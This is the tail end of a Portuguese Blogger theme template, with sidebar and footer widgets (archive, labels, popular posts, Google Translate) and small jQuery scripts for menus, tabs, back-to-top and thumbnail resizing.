      <ul class='hierarchy'>
        <li expr:class='&quot;archivedate &quot; + data:i.expclass'>
          <b:include data='i' name='toggle'/>
          <a class='post-count-link' expr:href='data:i.url'><data:i.name/></a>
            <span class='post-count' dir='ltr'>(<data:i.post-count/>)</span>
          <b:include cond='data:i.data' data='i.data' name='interval'/>
          <b:include cond='data:i.posts' data='i.posts' name='posts'/>
        </li>
      </ul>
  </b:loop>
</b:includable>
                <b:includable id='menu' var='data'>
  <select expr:id='data:widget.instanceId + &quot;_ArchiveMenu&quot;'>
    <option value=''><data:title/></option>
    <b:loop values='data:data' var='i'>
      <option expr:value='data:i.url'><data:i.name/> (<data:i.post-count/>)</option>
    </b:loop>
  </select>
</b:includable>
                <b:includable id='posts' var='posts'>
  <ul class='posts'>
    <b:loop values='data:posts' var='i'>
      <li><a expr:href='data:i.url'><data:i.title/></a></li>
    </b:loop>
  </ul>
</b:includable>
                <b:includable id='toggle' var='interval'>
  <b:if cond='data:interval.toggleId'>
  <b:if cond='data:interval.expclass == &quot;expanded&quot;'>
    <a class='toggle' href='javascript:void(0)'>
      <span class='zippy toggle-open'>&#9660;&#160;</span>
    </a>
  <b:else/>
    <a class='toggle' href='javascript:void(0)'>
      <span class='zippy'>
        <b:if cond='data:blog.languageDirection == &quot;rtl&quot;'>
          &#9668;&#160;
        <b:else/>
          &#9658;&#160;
        </b:if>
      </span>
    </a>
  </b:if>
 </b:if>
</b:includable>
              </b:widget>
            </b:section>
          </div>
        </aside>
        <!-- sidebar wrapper end -->

 
      </div>

      <!-- content wrapper end -->
      <div class='clear'/>
  </div>
      <aside id='bottombar'>
<div class='containz'>
        <b:section class='left section' id='left' preferred='yes'>
          <b:widget id='Translate1' locked='false' title='Translate' type='Translate'>
            <b:includable id='main'>
  <b:if cond='data:title != &quot;&quot;'>
    <h2 class='title'><data:title/></h2>
  </b:if>
  <div id='google_translate_element'/>
  <script>
    function googleTranslateElementInit() {
      new google.translate.TranslateElement({
        pageLanguage: &#39;<data:pageLanguage/>&#39;,
        autoDisplay: &#39;true&#39;,
        layout: google.translate.TranslateElement.InlineLayout.<data:layout/>
      }, &#39;google_translate_element&#39;);
    }
  </script>
  <script src='//translate.google.com/translate_a/element.js?cb=googleTranslateElementInit'/>
  <b:include name='quickedit'/>
</b:includable>
          </b:widget>
        </b:section>
        <b:section class='center section tagcloud1' id='center' preferred='yes'>
          <b:widget id='Label2' locked='false' title='Marcadores' type='Label'>
            <b:includable id='main'>
  <b:if cond='data:title != &quot;&quot;'>
    <h2><data:title/></h2>
  </b:if>
  <div expr:class='&quot;widget-content &quot; + data:display + &quot;-label-widget-content&quot;'>
    <b:if cond='data:display == &quot;list&quot;'>
      <ul>
        <b:loop values='data:labels' var='label'>
          <li>
            <b:if cond='data:blog.url == data:label.url'>
              <span expr:dir='data:blog.languageDirection'><data:label.name/></span>
            <b:else/>
              <a expr:dir='data:blog.languageDirection' expr:href='data:label.url'><data:label.name/></a>
            </b:if>
            <b:if cond='data:showFreqNumbers'>
              <span dir='ltr'>(<data:label.count/>)</span>
            </b:if>
          </li>
        </b:loop>
      </ul>
    <b:else/>
      <b:loop values='data:labels' var='label'>
        <span expr:class='&quot;label-size label-size-&quot; + data:label.cssSize'>
          <b:if cond='data:blog.url == data:label.url'>
            <span expr:dir='data:blog.languageDirection'><data:label.name/></span>
          <b:else/>
            <a expr:dir='data:blog.languageDirection' expr:href='data:label.url'><data:label.name/></a>
          </b:if>
          <b:if cond='data:showFreqNumbers'>
            <span class='label-count' dir='ltr'>(<data:label.count/>)</span>
          </b:if>
        </span>
      </b:loop>
    </b:if>
    <b:include name='quickedit'/>
  </div>
</b:includable>
          </b:widget>
        </b:section>
        <b:section class='right section' id='right' preferred='yes'>
          <b:widget id='PopularPosts1' locked='false' title='Postagens populares' type='PopularPosts'>
            <b:includable id='main'>
  <b:if cond='data:title != &quot;&quot;'><h2><data:title/></h2></b:if>
  <div class='widget-content popular-posts'>
    <ul>
      <b:loop values='data:posts' var='post'>
      <li>
        <b:if cond='!data:showThumbnails'>
          <b:if cond='!data:showSnippets'>
            <!-- (1) No snippet/thumbnail -->
            <a expr:href='data:post.href'><data:post.title/></a>
          <b:else/>
            <!-- (2) Show only snippets -->
            <div class='item-title'><a expr:href='data:post.href'><data:post.title/></a></div>
            <div class='item-snippet'><data:post.snippet/></div>
          </b:if>
        <b:else/>
          <!-- (3) Show only thumbnails or (4) Snippets and thumbnails. -->
          <div expr:class='data:showSnippets ? &quot;item-content&quot; : &quot;item-thumbnail-only&quot;'>
            <b:if cond='data:post.thumbnail'>
              <div class='item-thumbnail'>
                <a expr:href='data:post.href' target='_blank'>
                  <img alt='' border='0' expr:height='data:thumbnailSize' expr:src='data:post.thumbnail' expr:width='data:thumbnailSize'/>
                </a>
              </div>
            </b:if>
            <div class='item-title'><a expr:href='data:post.href'><data:post.title/></a></div>
            <b:if cond='data:showSnippets'>
              <div class='item-snippet'><data:post.snippet/></div>
            </b:if>
          </div>
          <div style='clear: both;'/>
        </b:if>
      </li>
      </b:loop>
    </ul>
    <b:include name='quickedit'/>
  </div>
</b:includable>
          </b:widget>
        </b:section>
        </div>
      </aside>
      <!-- footer wrapper start -->
      <footer id='footer-wrapper'>

<div class='containz'>
        <div class='footer-left'>
       
<div id='#mycredit'>
     Traduzido Por: <a href='http://www.maistemplate.net/' id='#mycredi'>Mais Template</a>
   </div>

          <div id='mycontent'/>
       
        </div>
        <div class='footer-right'>


   <nav class='top-menu1'>
          <!-- primary navigation menu start -->
          <ul class='menubar'>
            <li>
              <a href='/'>
                Inicio
              </a>
            </li>
            <li>
              <a href='http://www.maistemplate.net/'>
                Contato
              </a>
            </li>
            <li>
              <a href='http://www.maistemplate.net/'>
                Ajuda
              </a>
            </li>
            <li>
              <a href='http://www.maistemplate.net/'>
                Sobre
              </a>
            </li>
     </ul></nav>


        </div>

        </div>
      </footer>
      <!-- footer wrapper end -->
      <!-- wrapper end -->
    </div>
    <div class='back-to-top'>
      <a href='#' id='back-to-top' title='back to top'>
        <i class='fa fa-chevron-up'/>
      </a>
    </div>
    <script>
      $(window).scroll(function() {
        if($(this).scrollTop() &gt; 200) {
          $(&#39;#back-to-top&#39;).fadeIn();
            } else {
            $(&#39;#back-to-top&#39;).fadeOut();
            }
            });
          $(&#39;#back-to-top&#39;).hide().click(function() {
            $(&#39;html, body&#39;).animate({scrollTop:0}, 1000);
            return false;
            });
    </script>

<script type='text/javascript'>
//<![CDATA[
var ww=document.body.clientWidth;$(document).ready(function(){$(".nav li a").each(function(){if($(this).next().length>0){$(this).addClass("parent")}});$(".toggleMenu").click(function(e){e.preventDefault();$(this).toggleClass("active");$(".nav").toggle()});adjustMenu()});$(window).bind("resize orientationchange",function(){ww=document.body.clientWidth;adjustMenu()});var adjustMenu=function(){if(ww<768){$(".toggleMenu").css("display","inline-block");if(!$(".toggleMenu").hasClass("active")){$(".nav").hide()}else{$(".nav").show()}$(".nav li").unbind("mouseenter mouseleave");$(".nav li a.parent").unbind("click").bind("click",function(e){e.preventDefault();$(this).parent("li").toggleClass("hover")})}else if(ww>=768){$(".toggleMenu").css("display","none");$(".nav").show();$(".nav li").removeClass("hover");$(".nav li a").unbind("click");$(".nav li").unbind("mouseenter mouseleave").bind("mouseenter mouseleave",function(){$(this).toggleClass("hover")})}}
//]]>
</script>
    <script type='text/javascript'>
      //<![CDATA[
      /*! Matt Tabs v2.2.1 | https://github.com/matthewhall/matt-tabs */
      !function(a){"use strict";var b=function(b,c){var d=this;d.element=b,d.$element=a(b),d.tabs=d.$element.children(),d.options=a.extend({},a.fn.mtabs.defaults,c),d.current_tab=0,d.init()};b.prototype={init:function(){var a=this;a.tabs.length&&(a.build(),a.buildTabMenu())},build:function(){var b=this,c=b.options,d=c.tab_text_el,e=c.container_class;b.tab_names=[],b.$wrapper=b.$element.wrapInner('<div class="'+e+'" />').find("."+e),b.tabs.wrapAll('<div class="'+c.tabs_container_class+'" />'),b.tabs.each(function(c,e){var f,g=a(e),h=d;f=g.find(h).filter(":first").hide().text(),b.tab_names.push(f)}),a.isFunction(c.onReady)&&c.onReady.call(b.element)},buildTabMenu:function(){for(var b,c=this,d=c.options,e=d.tabsmenu_el,f=c.tab_names,g="<"+e+' class="'+d.tabsmenu_class+'">',h=0,i=f.length,j=function(){var a=arguments;return d.tmpl.tabsmenu_tab.replace(/\{[0-9]\}/g,function(b){var c=Number(b.replace(/\D/g,""));return a[c]||""})};i>h;h++)g+=j(h+1,f[h]);g+="</"+e+">",c.$tabs_menu=a(g).prependTo(c.$wrapper),b=c.$tabs_menu.find(":first")[0].nodeName.toLowerCase(),c.$tabs_menu.on("click",b,function(b){var d=a(this),e=d.index();c.show(e),b.preventDefault()}).find(":first").trigger("click")},show:function(b){var c=this,d=c.options,e=d.active_tab_class;c.tabs.hide().filter(":eq("+b+")").show(),c.$tabs_menu.children().removeClass(e).filter(":eq("+b+")").addClass(e),a.isFunction(d.onTabSelect)&&b!==c.current_tab&&d.onTabSelect.call(c.element,b),c.current_tab=b},destroy:function(){var a=this,b=a.options.tab_text_el;a.$tabs_menu.remove(),a.tabs.unwrap().unwrap(),a.tabs.removeAttr("style"),a.tabs.children(b+":first").removeAttr("style"),a.$element.removeData("mtabs")}},a.fn.mtabs=function(c,d){return this.each(function(){var e,f=a(this),g=f.data("mtabs");e="object"==typeof c&&c,g||f.data("mtabs",g=new b(this,e)),"string"==typeof c&&g[c](d)})},a.fn.mtabs.defaults={container_class:"tabs",tabs_container_class:"tabs-content",active_tab_class:"active-tab",tab_text_el:"h1, h2, h3, h4, h5, h6",tabsmenu_class:"tabs-menu",tabsmenu_el:"ul",tmpl:{tabsmenu_tab:'<li class="tab-{0}"><span>{1}</span></li>'},onTabSelect:null}}(window.jQuery,window,document);
      //]]>
    </script>
   


<script type='text/javascript'>//<![CDATA[
$(document).ready(function() {
  // change the dimension variable below to be the pixel size you want
  var dimension = 100;
  // this identifies the PopularPosts1 div element, finds each image in it, and resizes it
  $('#PopularPosts1').find('img').each(function(n, image){
    var image = $(image);
    image.attr({src : image.attr('src').replace(/s\B\d{2,4}/,'s' + dimension)});
    image.attr('width',dimension);
    image.attr('height',dimension);
  });
});
//]]></script>



  </body>
</html>